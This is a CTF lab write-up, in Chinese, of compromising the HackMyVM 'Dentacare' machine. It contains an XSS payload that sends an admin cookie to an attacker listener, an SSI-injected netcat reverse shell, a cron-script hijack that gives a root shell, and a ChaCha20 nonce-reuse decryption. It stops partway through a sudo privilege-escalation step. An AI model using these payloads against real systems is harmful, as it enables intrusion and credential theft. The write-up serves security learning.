HMV Dentacare
Todd

信息收集

NAMP 扫描

1
2
3
4
5
6
7
8
9
10
11
IP=192.168.0.178
nmap $IP

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-24 08:28 HKT
Nmap scan report for www.DENTACARE.HMV (192.168.0.178)
Host is up (0.0071s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8000/tcp open http-alt

扫一波目录:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
dirb http://$IP

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Fri May 24 08:28:56 2024
URL_BASE: http://192.168.0.178/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://192.168.0.178/ ----
+ http://192.168.0.178/about (CODE:200|SIZE:22975)
+ http://192.168.0.178/admin (CODE:302|SIZE:189)
+ http://192.168.0.178/blog (CODE:200|SIZE:23021)
+ http://192.168.0.178/comment (CODE:405|SIZE:153)
+ http://192.168.0.178/console (CODE:200|SIZE:1563)
+ http://192.168.0.178/contact (CODE:500|SIZE:27322)
+ http://192.168.0.178/index.html (CODE:200|SIZE:43069)
+ http://192.168.0.178/services (CODE:200|SIZE:21296)

-----------------
END_TIME: Fri May 24 08:30:17 2024
DOWNLOADED: 4612 - FOUND: 8

打开看看,console 是 Werkzeug / Flask Debug 的控制台,有一个 PIN 验证。
翻了一下 hacktricks, Werkzeug / Flask Debug 还需要一个 LFI 一类的漏洞拿到一部分源码才能利用。

/contact 500 了,可以看到应用的住路径是 /opt/appli/app.py,还有一段 js 代码:

1
2
3
4
var CONSOLE_MODE = false,
EVALEX = true,
EVALEX_TRUSTED = false,
SECRET = "wwhSTyusgsHGiQe6tbL3";

SECRET 可以用于 Cookie 的签名,但是这个应用目前没有发现 Cookie。

/comment 405 了,用 post 请求后报错,能看到 comment 的源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
File "/opt/appli/app.py", line 45, in comment
def services():
return render_template('services.html')

@app.route('/comment', methods=['POST'])
def comment():
comment_text = request.form['comment']
^^^^^^^^^^^^^^^^^^^^^^^
if comment_text:
new_comment = Comment(comment=comment_text)
db.session.add(new_comment)
db.session.commit()
message = "Feedback sent !"

看起来用的是 flask-sqlalchemy,sqlmap 一下,没有发现注入。因为返回的内容一样,sqlmap 认为这个不是个动态参数,手动测试了几个时间盲注,也没有成功。

其他几个页面看起来都是静态,或者经经过 html 渲染的,暂时看不到利用的地方。

卡了两天,还是 ll104567 翻到了 Youtube 的 PL4GU3 大佬的 WP,才知道原来是利用 XSS。
之前我一直以为,XSS 在靶机里不好实现,不太会有靶机用这个,没想到真碰到了一个。

Webshell 获取

注意, 因为我之前测试过 SQLmap 还有 Fuzz 之类的,导致这个地方的功能失效,重新导入了下靶机才能复现。

首先,构造一个 xss 获取 Cookie 的 payload:

1
2
3
<script>
location.href = "http://192.168.0.30:8888/?cookie=" + document.cookie;
</script>

本地监听下:

1
2
3
4
5
6
7
8
9
10
11
12
nc -l 8888

GET /?cookie=Authorization=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJEZW50YUNhcmUgQ29ycG9yYXRpb24gIiwiaWF0IjoxNzEyNTc0NTEyLCJleHAiOjE3NDQxMTA1MTIsImF1ZCI6ImRlbnRhY2FyZS5obXYiLCJzdWIiOiJoZWxwZGVza0BkZW50YWNhcmUuaG12IiwiR2l2ZW5OYW1lIjoiUGF0cmljayIsIlN1cm5hbWUiOiJQZXRpdCIsIkVtYWlsIjoiYWRtaW5AZGVudGFjYXJlLmhtdiIsIlJvbGUiOlsiQWRtaW5pc3RyYXRvciIsIlByb2plY3QgQWRtaW5pc3RyYXRvciJdfQ.FIMxmUCOL3a4ThN5z-7VDN8OxBK7W0krHlcVktAiZtx3KXSQsbno1q1MRUL9JMPTJeqoTr-bRL2KWyr5Kv7JnQ HTTP/1.1
Host: 192.168.0.30:8888
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://localhost/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

等到 cronjob 执行了,就可以看到 Cookie 了。
Cookie 看起来是一个 JWT,解码一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// Header
{
"typ": "JWT",
"alg": "HS512"
}

//payload
{
"iss": "DentaCare Corporation ",
"iat": 1712574512,
"exp": 1744110512,
"aud": "dentacare.hmv",
"sub": "[email protected]",
"GivenName": "Patrick",
"Surname": "Petit",
"Email": "[email protected]",
"Role": [
"Administrator",
"Project Administrator"
]
}

看起来是管理员的 Cookie,既然是 Cookie,联想到刚才目录里的/admin 那么我们就用这个 Cookie 登陆下 admin,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
curl  http://$IP/admin  --cookie "Authorization=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJEZW50YUNhcmUgQ29ycG9yYXRpb24gIiwiaWF0IjoxNzEyNTc0NTEyLCJleHAiOjE3NDQxMTA1MTIsImF1ZCI6ImRlbnRhY2FyZS5obXYiLCJzdWIiOiJoZWxwZGVza0BkZW50YWNhcmUuaG12IiwiR2l2ZW5OYW1lIjoiUGF0cmljayIsIlN1cm5hbWUiOiJQZXRpdCIsIkVtYWlsIjoiYWRtaW5AZGVudGFjYXJlLmhtdiIsIlJvbGUiOlsiQWRtaW5pc3RyYXRvciIsIlByb2plY3QgQWRtaW5pc3RyYXRvciJdfQ.FIMxmUCOL3a4ThN5z-7VDN8OxBK7W0krHlcVktAiZtx3KXSQsbno1q1MRUL9JMPTJeqoTr-bRL2KWyr5Kv7JnQ"

* Trying 192.168.0.178:80...
* Connected to 192.168.0.178 (192.168.0.178) port 80
> GET /admin HTTP/1.1
> Host: 192.168.0.178
> User-Agent: curl/8.5.0
> Accept: */*
> Cookie: Authorization=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJEZW50YUNhcmUgQ29ycG9yYXRpb24gIiwiaWF0IjoxNzEyNTc0NTEyLCJleHAiOjE3NDQxMTA1MTIsImF1ZCI6ImRlbnRhY2FyZS5obXYiLCJzdWIiOiJoZWxwZGVza0BkZW50YWNhcmUuaG12IiwiR2l2ZW5OYW1lIjoiUGF0cmljayIsIlN1cm5hbWUiOiJQZXRpdCIsIkVtYWlsIjoiYWRtaW5AZGVudGFjYXJlLmhtdiIsIlJvbGUiOlsiQWRtaW5pc3RyYXRvciIsIlByb2plY3QgQWRtaW5pc3RyYXRvciJdfQ.FIMxmUCOL3a4ThN5z-7VDN8OxBK7W0krHlcVktAiZtx3KXSQsbno1q1MRUL9JMPTJeqoTr-bRL2KWyr5Kv7JnQ
>
< HTTP/1.1 302 FOUND
< Server: Werkzeug/3.0.2 Python/3.11.2
< Date: Fri, 24 May 2024 07:22:22 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 237
< Location: http://dentacare.hmv:8000
< Connection: close
<
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="http://dentacare.hmv:8000">http://dentacare.hmv:8000</a>. If not, click the link.
* Closing connection

去 8000 端口吗?那再访问下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
curl  http://$IP:8000  --cookie "Authorization=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJEZW50YUNhcmUgQ29ycG9yYXRpb24gIiwiaWF0IjoxNzEyNTc0NTEyLCJleHAiOjE3NDQxMTA1MTIsImF1ZCI6ImRlbnRhY2FyZS5obXYiLCJzdWIiOiJoZWxwZGVza0BkZW50YWNhcmUuaG12IiwiR2l2ZW5OYW1lIjoiUGF0cmljayIsIlN1cm5hbWUiOiJQZXRpdCIsIkVtYWlsIjoiYWRtaW5AZGVudGFjYXJlLmhtdiIsIlJvbGUiOlsiQWRtaW5pc3RyYXRvciIsIlByb2plY3QgQWRtaW5pc3RyYXRvciJdfQ.FIMxmUCOL3a4ThN5z-7VDN8OxBK7W0krHlcVktAiZtx3KXSQsbno1q1MRUL9JMPTJeqoTr-bRL2KWyr5Kv7JnQ"

<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<h1>Friday, 24-May-2024 09:24:44 CEST</h1>
<h2>Accounts Receivable Management Portal</h2>
<form action="gen.php" method="get">
<input type="text" name="cmd" placeholder="Name of debtor patient ">
<input type="submit" value="Save">
</form>
</body>
</html>

不管,先管着 cookie 扫一遍目录:

1
2
3
4
5
6
gobuster dir -c "Authorization=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJEZW50YUNhcmUgQ29ycG9yYXRpb24gIiwiaWF0IjoxNzEyNTc0NTEyLCJleHAiOjE3NDQxMTA1MTIsImF1ZCI6ImRlbnRhY2FyZS5obXYiLCJzdWIiOiJoZWxwZGVza0BkZW50YWNhcmUuaG12IiwiR2l2ZW5OYW1lIjoiUGF0cmljayIsIlN1cm5hbWUiOiJQZXRpdCIsIkVtYWlsIjoiYWRtaW5AZGVudGFjYXJlLmhtdiIsIlJvbGUiOlsiQWRtaW5pc3RyYXRvciIsIlByb2plY3QgQWRtaW5pc3RyYXRvciJdfQ.FIMxmUCOL3a4ThN5z-7VDN8OxBK7W0krHlcVktAiZtx3KXSQsbno1q1MRUL9JMPTJeqoTr-bRL2KWyr5Kv7JnQ" -w /usr/share/dirb/wordlists/big.txt -u http://$IP:8000  -x .jpg,.zip,.bk,.php,.shtml

/gen.php (Status: 302) [Size: 0] [--> patient_name.shtml]
/index.shtml (Status: 200) [Size: 350]
/process.php (Status: 302) [Size: 0] [--> hello.shtml?]

先看 gen.php 和 patient_name.shtml 的关系是,http://dentacare.hmv:8000/gen.php?cmd=xx 发送一个 post,然后 302 到 patient_name.shtml 显示出来,明显有 xss,但是似乎没用。
看页面提示是存储到数据库了,因为是跳转的,我手动试了几个盲注的 payload,但是很快就跳到 patient_name 页面,可能不存在注入。

再看看 process.php,猜可能是 get 一个参数,fuzz 下试试

1
2
wfuzz -c -z file,/usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-words.txt -b "Authorization=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJEZW50YUNhcmUgQ29ycG9yYXRpb24gIiwiaWF0IjoxNzEyNTc0NTEyLCJleHAiOjE3NDQxMTA1MTIsImF1ZCI6ImRlbnRhY2FyZS5obXYiLCJzdWIiOiJoZWxwZGVza0BkZW50YWNhcmUuaG12IiwiR2l2ZW5OYW1lIjoiUGF0cmljayIsIlN1cm5hbWUiOiJQZXRpdCIsIkVtYWlsIjoiYWRtaW5AZGVudGFjYXJlLmhtdiIsIlJvbGUiOlsiQWRtaW5pc3RyYXRvciIsIlByb2plY3QgQWRtaW5pc3RyYXRvciJdfQ.FIMxmUCOL3a4ThN5z-7VDN8OxBK7W0krHlcVktAiZtx3KXSQsbno1q1MRUL9JMPTJeqoTr-bRL2KWyr5Kv7JnQ" --hh 0 -u http://$IP:8000/process.php?FUZZ=1

一无所获。。

再次回到 index.shtml 这里。尝试 php 代码注入,
<?php phpinfo(); ?> 试了下,没有解析。直接输出了。难道这个地方不是 PHP 解析的?那这个扩展名?

去 hacktrics 查了下,发现可以用Server Side Includes,也可以用 <!--#exec cmd="ls" --> 来执行命令。之前项目里还用<!--#include virtual="/footer.html" --> 这个功能来做静态页面的代码复用。接下来就直接可以 nc 了,构造 nc 的 reverse shell nc 192.168.0.30 8888 -e /bin/sh
然后:

1
pwncat-cs -lp 8888

填入 <!--#exec cmd="nc 192.168.0.30 8888 -e /bin/sh" --> 提交,看到 pwncat 有了 shell。

提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
(remote) www-data@dentacare:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
(remote) www-data@dentacare:/var/www/html$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:107::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:101:109:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
sshd:x:102:65534::/run/sshd:/usr/sbin/nologin
dentist:x:1000:1000:,,,:/home/dentist:/bin/bash

(remote) www-data@dentacare:/var/www/html$ cat process.php
<?php
$userInput = $_GET['query'] ?? '';

header("Location: hello.shtml?$userInput");
exit;
?>

(remote) www-data@dentacare:/var/www/html$ ls
gen.php index.shtml patient_name.shtml process.php


(remote) www-data@dentacare:/opt$ ps -aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 463 0.0 0.1 6608 2720 ? Ss 08:57 0:00 /usr/sbin/cron -f
message+ 464 0.0 0.2 9348 5048 ? Ss 08:57 0:00 /usr/bin/dbus-daemon --system --addres
root 466 0.0 0.3 24856 7736 ? Ss 08:57 0:00 /lib/systemd/systemd-logind
root 478 0.0 0.2 16520 5876 ? Ss 08:57 0:00 /sbin/wpa_supplicant -u -s -O DIR=/run
www-data 494 0.0 2.6 63560 53008 ? Ss 08:57 0:01 /opt/appli/env/bin/python app.py
root 501 0.0 0.0 5872 1060 tty1 Ss+ 08:57 0:00 /sbin/agetty -o -p -- \u --noclear - l
root 529 0.0 0.4 15412 8856 ? Ss 08:57 0:00 sshd: /usr/sbin/sshd -D [listener] 0 o
root 552 0.0 1.0 204416 22136 ? Ss 08:57 0:00 /usr/sbin/apache2 -k start
www-data 604 0.0 0.4 62124 8436 ? S 08:57 0:00 /usr/sbin/apache2 -k start
www-data 611 0.8 3.6 564052 73048 ? Sl 08:57 0:43 /opt/appli/env/bin/python app.py
root 4465 0.0 0.0 0 0 ? I 09:29 0:00 [kworker/u2:3-ext4-rsv-conversion]
root 6901 0.0 0.0 0 0 ? I 09:52 0:00 [kworker/u2:2-events_unbound]
www-data 7223 0.2 0.7 205096 15976 ? S 09:55 0:04 /usr/sbin/apache2 -k start
www-data 7224 0.2 0.8 205376 16604 ? S 09:55 0:04 /usr/sbin/apache2 -k start
www-data 7427 0.1 0.7 205088 16088 ? S 09:57 0:02 /usr/sbin/apache2 -k start
www-data 7428 0.1 0.7 205088 16084 ? S 09:57 0:02 /usr/sbin/apache2 -k start
www-data 7429 0.1 0.7 205088 16084 ? S 09:57 0:02 /usr/sbin/apache2 -k start
www-data 7431 0.1 0.8 205376 16464 ? S 09:57 0:02 /usr/sbin/apache2 -k start
www-data 7432 0.1 0.7 205088 16084 ? S 09:57 0:02 /usr/sbin/apache2 -k start
www-data 7434 0.1 0.8 205376 16604 ? S 09:57 0:02 /usr/sbin/apache2 -k start
www-data 7435 0.1 0.8 205368 16588 ? S 09:57 0:02 /usr/sbin/apache2 -k start
www-data 7437 0.1 0.8 205376 16604 ? S 09:57 0:02 /usr/sbin/apache2 -k start
root 7929 0.0 0.0 0 0 ? I 10:02 0:00 [kworker/u2:0-ext4-rsv-conversion]
root 8073 0.1 0.0 0 0 ? I 10:03 0:01 [kworker/0:2-events_freezable_power_]
root 9126 0.2 0.0 0 0 ? I 10:13 0:01 [kworker/0:0-ata_sff]
www-data 9230 0.0 0.1 3924 2928 ? S 10:14 0:00 /usr/bin/bash
www-data 9250 0.1 0.0 2516 1000 ? S 10:14 0:00 /usr/bin/script -qc /usr/bin/bash /dev
www-data 9251 0.0 0.0 2576 908 pts/0 Ss 10:14 0:00 sh -c /usr/bin/bash
www-data 9252 0.0 0.1 4292 3520 pts/0 S 10:14 0:00 /usr/bin/bash
root 9779 0.1 0.0 0 0 ? I 10:18 0:00 [kworker/0:1-events]
www-data 10089 0.0 0.2 9312 4916 pts/0 R+ 10:20 0:00 ps -aux

(remote) www-data@dentacare:/opt/carries$ ls -al
total 24
drwxr-xr-x 3 dentist dentist 4096 Apr 12 20:04 .
drwxr-xr-x 4 root root 4096 Apr 12 20:04 ..
drwxr-xr-x 5 root root 4096 Apr 12 20:04 .env
-rwxr--r-- 1 dentist dentist 1122 Apr 12 20:04 crypted_potion.txt
-rwxr-xr-x 1 dentist dentist 923 Apr 12 20:04 farewell_the_carries.py
-rw------- 1 dentist dentist 357 Apr 12 20:04 potion.txt



看下 farewell_the_carries.py 源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

from Crypto.Cipher import ChaCha20
import os

def encryptMessage(message, key, nonce):
cipher = ChaCha20.new(key=key, nonce=nonce)
ciphertext = cipher.encrypt(message)
return ciphertext

def writeData(data):
with open("crypted_potion.txt", "w") as f:
f.write(data)

def readFlagFromFile(filename="potion.txt"):
with open(filename, "rb") as f:
return f.read()

if __name__ == "__main__":
message = b"After years hidden in my lab, I've done it! A magical concoction "
message += b"that eradicates cavities forever has been brewed! Prepare for a "
message += b"revolution in dentistry, my fellow tooth warriors!"

key, iv = os.urandom(32), os.urandom(24)

flag = readFlagFromFile()

announcement = encryptMessage(message, key, iv)
potion = encryptMessage(flag, key, iv)

data = iv.hex() + "\n" + announcement.hex() + "\n" + potion.hex()
writeData(data)

看起来这段程序的作用是读取 potion.txt 的内容,然后用 ChaCha20 加密,然后写入 crypted_potion.txt。

urandom 的作用是生成一个随机数,这里生成了一个 32 字节的 key 和 24 字节的 iv。然后用这个 key 和 iv 来加密 message 和 flag。
hex() 方法是将 bytes 转换为十六进制字符串.

crypted_potion.txt 有三部分

  • iv
  • announcement
  • potion

看起来需要用加密过的 announcement 的内容,反推出来 key,然后才能解密 potion。按道理一个安全的加密算法是不可能反推出 key 的。 搜了下没有找到什么工具。 先看看有没有别的路。

上 peass 看看,靶机的控制台缓冲区太小,看不到完整的输出。

1
2
3
4
5
wget https://mirror.ghproxy.com/https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
# 主机
nc -lvnp 4444 | tee linpeas.out
./linpeas.sh -a | nc 192.168.0.30 4444

尝试加了-a 选项,看看会不会多一些信息。
找了半天,没发现有啥我这水平可以用的。

看看进程 pspy64

1
2
3
4
5
6
7
wget https://mirror.ghproxy.com/https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
chmod +x pspy64
./pspy64
# 主机
nc -lvnp 4444 | tee pspy.out
./pspy64 | nc 192.168.0.30 4444

看到了定时任务的进程。

1
2
3
4
5
2024/05/27 02:57:01 CMD: UID=0     PID=484288 | /usr/sbin/CRON -f
2024/05/27 02:57:01 CMD: UID=0 PID=484289 | /usr/sbin/CRON -f
2024/05/27 02:57:01 CMD: UID=0 PID=484290 | /bin/sh -c /usr/bin/node /opt/appli/.config/read_comment.js
2024/05/27 02:57:02 CMD: UID=0 PID=484302 | /usr/bin/node /opt/appli/.config/read_comment.js
2024/05/27 02:57:02 CMD: UID=0 PID=484304 | /root/.cache/puppeteer/chrome/linux-123.0.6312.105/chrome-linux64/chrome --allow-pre-commit-input --disable-background-networking --disable-background-timer-throttling --disable-backgrounding-occluded-windows --disable-breakpad --disable-client-side-phishing-detection --disable-component-extensions-with-background-pages --disable-component-update --disable-default-apps --disable-dev-shm-usage --disable-extensions --disable-field-trial-config --disable-hang-monitor --disable-infobars --disable-ipc-flooding-protection --disable-popup-blocking --disable-prompt-on-repost --disable-renderer-backgrounding --disable-search-engine-choice-screen --disable-sync --enable-automation --export-tagged-pdf --generate-pdf-document-outline --force-color-profile=srgb --metrics-recording-only --no-first-run --password-store=basic --use-mock-keychain --disable-features=Translate,AcceptCHFrame,MediaRouter,OptimizationHints,ProcessPerSiteUpToMainFrameThreshold --enable-features=NetworkServiceInProcess2 --headless=new --hide-scrollbars --mute-audio about:blank --no-sandbox --disable-setuid-sandbox --remote-debugging-port=0 --user-data-dir=/tmp/puppeteer_dev_chrome_profile-MFs2mG

看起来这就是一开始能触发 XSS 的那个页面了。用的是 puppeteer 这个库。Puppeteer is a Node.js library which provides a high-level API to control Chrome/Chromium over the DevTools Protocol. Puppeteer runs in headless mode by default, but can be configured to run in full (“headful”) Chrome/Chromium.

可以无头启动 Chrome,然后控制 Chrome 去访问网页。这不就是用来搞爬虫的吗。下次再写爬虫程序可以试试看。

来看下几个文件的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
cat /opt/appli/.config/read_comment.js

const puppeteer = require('puppeteer');

(async () => {
const browser = await puppeteer.launch({
headless: true,
args: ['--no-sandbox', '--disable-setuid-sandbox']
});
const page = await browser.newPage();

const cookies = [{
'name': 'Authorization',
'value': 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJEZW50YUNhcmUgQ29ycG9yYXRpb24gIiwiaWF0IjoxNzEyNTc0NTEyLCJleHAiOjE3NDQxMTA1MTIsImF1ZCI6ImRlbnRhY2FyZS5obXYiLCJzdWIiOiJoZWxwZGVza0BkZW50YWNhcmUuaG12IiwiR2l2ZW5OYW1lIjoiUGF0cmljayIsIlN1cm5hbWUiOiJQZXRpdCIsIkVtYWlsIjoiYWRtaW5AZGVudGFjYXJlLmhtdiIsIlJvbGUiOlsiQWRtaW5pc3RyYXRvciIsIlByb2plY3QgQWRtaW5pc3RyYXRvciJdfQ.FIMxmUCOL3a4ThN5z-7VDN8OxBK7W0krHlcVktAiZtx3KXSQsbno1q1MRUL9JMPTJeqoTr-bRL2KWyr5Kv7JnQ',
'url': 'http://localhost:80'
}];

await page.setCookie(...cookies);

await page.goto('http://localhost:80/view-all-comments');

console.log(`Page visitée avec cookie spécifié à ${new Date().toISOString()}`);

await page.waitForTimeout(10000);

await browser.close();
})();

怪不得之前跑了乱七八糟的 payload 这个页面就挂了,view-all-comments 之后 js 肯定就报错了。

1
2
ls -al /opt/appli/.config/read_comment.js
-rw-r--r-- 1 www-data www-data 1063 Apr 12 20:04 /opt/appli/.config/read_comment.js

这里的 www-data 可以写文件,然后 root 再执行。node 应该是可以调用 shell 的。
https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/linux#nodejs
修改这个 read_comment.js 文件, 然后再反弹一个试试:

注意这个地方,不要断网,要不然你之前的 shell 就没了。而且是再也回不来那种,只能重新导入靶机。

1
vi /opt/appli/.config/read_comment.js
1
require("child_process").exec("nc -e /bin/sh 192.168.0.30 5555");
1
2
3
4
5
6
7

└─$ pwncat-cs -l 5555


(remote) root@dentacare:/root# id
uid=0(root) gid=0(root) groups=0(root)

通关。直接拿到了 root,user 都不用。

另一条路

最后看了作者的 WP https://www.youtube.com/watch?v=PPJOF-89KLQ 发现那个 crypted_potion.txt 是可以利用的。再来研究研究。

先去了解下 ChaCha20 算法。
Chacha20 算法

Chacha20 is a cipher stream. Its input includes a 256-bit key, a 32-bit counter, a 96-bit nonce and plain text. Its initial state is a 44 matrix of 32-bit words. The first row is a constant string “expand 32-byte k” which is cut into 432-bit words. The second and the third are filled with 256-bit key. The first word in the last row are 32-bit counter and the others are 96-bit nonce. It generate 512-bit keystream in each iteration to encrypt a 512-bit bolck of plain text. When the rest of plain text is less 512 bits after many times encryption, please padding to the left with 0s(MSB) in the last input data and remove the same bits unuseful data from the last output data. Its encryption and decryption are same as long as input same initial key, counter and nonce.

Chacha20 是一个密码流。其输入包括 256 位密钥、32 位计数器、96 位随机数和纯文本。它的初始状态是一个 32 位字的 44 矩阵。第一行是一个常量字符串“expand 32-byte k”,它被切割成 432 位字。第二个和第三个填充有 256 位密钥。最后一行的第一个字是 32 位计数器,其他是 96 位随机数。它在每次迭代中生成 512 位密钥流,以加密 512 位纯文本块。当多次加密后剩余的明文小于 512 位时,请在最后的输入数据中向左填充 0(MSB),并从最后的输出数据中删除相同位的无用数据。只要输入相同的初始密钥、计数器和随机数,其加密和解密是相同的。

image 图 1

image 图 2

Initial state is generated by the input 256-bit key, 32-bit counter and 96-bit nonce. In the encryption, a new 512-bit key is generated and is used for doing XOR with 512-bit plain text, then output a cipher block in each iteration.
初始状态由输入的 256 位密钥、32 位计数器和 96 位随机数生成。加密时,生成一个新的 512 位密钥,用于与 512 位明文进行异或,然后在每次迭代中输出一个密码块。

总的来说,ChaCha20 流式加密,用到的算法其实就是异或运算, 简单理解就是 cipher_text=xor(key, plain_text)。那么 key=xor(cipher_text, plain_text)
当然,正常的 ChaCha20 不会这样用,因为这里作者故意暴露了使用的过程,两次加密用到 key 和 nounce 都是一样的,所以可以反推出来。
那么有 key 有加密文本,plain_text=xor(key, cipher_text)

在 靶机的 python 命令行里试试看:

1
./.env/bin/python3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 先定义两个工具函数 拿到文件中的值。
def xor_bytes(a, b):
return bytes(x ^ y for x, y in zip(a, b))

def readData(filename="crypted_potion.txt"):
with open(filename, "r") as f:
data = f.read().split("\n")
iv = bytes.fromhex(data[0])
announcement = bytes.fromhex(data[1])
potion = bytes.fromhex(data[2])
return iv, announcement, potion

iv, announcement, potion = readData()

# 已知 announcement 的结果是由 message 加密得到的,所以可以用 announcement 和 message 异或得到 当时的 key 和 iv 产生的那个矩阵 (图 1 )

key_mitrix = xor_bytes(announcement, b"After years hidden in my lab, I've done it! A magical concoction that eradicates cavities forever has been brewed! Prepare for a revolution in dentistry, my fellow tooth warriors!")

# 用 key_mitrix 异或 potion 的值理论上就得到了原来的 potion
potion = xor_bytes(potion, key_mitrix)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
(remote) www-data@dentacare:/opt/carries$ ./.env/bin/python3
Python 3.11.2 (main, Mar 13 2023, 12:18:29) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> def xor_bytes(a, b):
... return bytes(x ^ y for x, y in zip(a, b))
...
>>> def readData(filename="crypted_potion.txt"):
... with open(filename, "r") as f:
... data = f.read().split("\n")
... iv = bytes.fromhex(data[0])
... announcement = bytes.fromhex(data[1])
... potion = bytes.fromhex(data[2])
... return iv, announcement, potion
...
>>>
>>> iv, announcement, potion = readData()
>>> iv
b'X\xb8\x83\x9cR\x13\x9aX\xf4\xf2\xd5&_\xb6z\x85\xeb\xd4\x8cR\xb40\x82>'
>>> key_mitrix = xor_bytes(announcement, b"After years hidden in my lab, I've done it! A magical concoction that eradicates cavities forever has been brewed! Prepare for a revolution in dentistry, my fellow tooth warriors!")
potion = xor_bytes(potion, key_mitrix)
>>> potion
b"In my latest dental alchemy experiments, I've merged the simple effectiveness of baking soda with the mystical energies of lunar dust. As a result, 'EternalSmile2024!' was born, a"
>>> exit();

貌似,看到了一个密码,为什么不全呢,异或运算是按位的,所以只能异或到 announcement 原文的长度。所以只能得到这么多。
这就是 dentist 的密码了。

1
2
3
4
5
6
7
8
9
pwncat-cs [email protected]
└─$ pwncat-cs [email protected]
/home/kali/pwncat/lib/python3.11/site-packages/paramiko/transport.py:178: CryptographyDeprecationWarning: Blowfish has been deprecated and will be removed in a future release
'class': algorithms.Blowfish,
[10:20:33] Welcome to pwncat 🐈! __main__.py:164
Password: *****************
(remote) dentist@dentacare:/home/dentist$ id
uid=1000(dentist) gid=1000(dentist) groups=1000(dentist),100(users)

提权

1
2
3
4
5
6
7
8
9
10
11
12
sudo -l
Matching Defaults entries for dentist on dentacare:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User dentist may run the following commands on dentacare:
(ALL : ALL) NOPASSWD: /usr/bin/pod2pdf

(remote) dentist@dentacare:/home/dentist$ file /usr/bin/pod2pdf
/usr/bin/pod2pdf: Perl script text executable

(remote) dentist@dentacare:/home/dentist$ cat /usr/bin/pod2pdf
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
